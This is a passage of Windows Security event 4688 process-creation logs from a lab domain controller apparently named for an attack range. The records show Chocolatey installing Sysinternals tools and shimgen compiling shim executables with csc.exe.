program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246396 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Clockres64.exe" --output="C:\ProgramData\chocolatey\bin\Clockres64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Clockres64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246395 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBA62.tmp" "c:\ProgramData\chocolatey\bin\CSC925CA220B9D94C8AA3CF90C52A75B30.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246394 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246393 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Clockres.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246392 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246391 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Clockres.exe" --output="C:\ProgramData\chocolatey\bin\Clockres.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Clockres.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246390 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe04 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB987.tmp" "c:\ProgramData\chocolatey\bin\CSC3BF3165739E94B8A90AE5F0C47C905E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246389 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x480 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe04 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246388 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Cacheset.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246387 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246386 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Cacheset.exe" --output="C:\ProgramData\chocolatey\bin\Cacheset.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Cacheset.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246385 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd14 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB8AC.tmp" "c:\ProgramData\chocolatey\bin\CSC3801F1A9F19A40F38AB34C645E30416C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246429 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x62c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246428 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xba0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\CPUSTRES64.EXE" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246427 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x68 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xba0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246426 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xba0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\CPUSTRES64.EXE" --output="C:\ProgramData\chocolatey\bin\CPUSTRES64.EXE" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\CPUSTRES64.EXE" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246425 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBF92.tmp" "c:\ProgramData\chocolatey\bin\CSC4D7BC2DF869F4FCA888D46E8DE2DE7C4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246424 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High 